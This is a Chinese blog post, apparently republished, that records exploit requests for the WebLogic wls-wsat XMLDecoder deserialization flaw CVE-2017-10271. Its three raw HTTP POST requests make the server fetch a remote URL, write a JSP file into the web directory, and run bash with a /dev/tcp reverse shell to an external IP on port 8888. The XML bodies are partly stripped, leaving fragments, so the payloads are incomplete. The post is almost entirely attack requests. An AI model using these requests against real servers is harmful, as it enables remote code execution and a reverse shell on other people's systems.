java weblogic反序列化,WebLogic 反序列化漏洞(CVE-2017-10271)

0x00 WebLogic WLS组件反序列化漏洞

这个漏洞的编号是 CVE-2017-10271,漏洞存在于 Oracle WebLogic 的 wls-wsat 组件中,该组件的 XMLDecoder 方法在反序列化时存在漏洞可远程代码执行,凡是版本号 < 10.3.6 的都受到影响,刚出来时没有看,现在记录一下

0x01 访问远程文件

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 127.0.0.1:7001

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=DJbghZRGlJf0PyyLc52n4GdvrbDkrxKWGDpwnncFpHnqsDjMT68F!-298356074

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 688

Content-Type: text/xml

http://114.115.123.123:80/aaaaaaa

0x02 写入文件

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 127.0.0.1:7001

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=DJbghZRGlJf0PyyLc52n4GdvrbDkrxKWGDpwnncFpHnqsDjMT68F!-298356074

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 688

Content-Type: text/xml

servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/cert.jsp

<% out.print("ccccc"); %>

然后访问:http://127.0.0.1:7001/wls-wsat/cert.jsp 即可

0x03 执行命令

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 127.0.0.1:7001

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=DJbghZRGlJf0PyyLc52n4GdvrbDkrxKWGDpwnncFpHnqsDjMT68F!-298356074

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 803

Content-Type: text/xml

/bin/bash

-c

& /dev/tcp/114.115.123.123/8888 0>&1]]>

java weblogic反序列化,WebLogic 反序列化漏洞(CVE-2017-10271)_第1张图片

Reference(侵删):

若未作声明则文章版权归本人(@reber)所有,转载请注明原文链接:

你可能感兴趣的:(java,weblogic反序列化)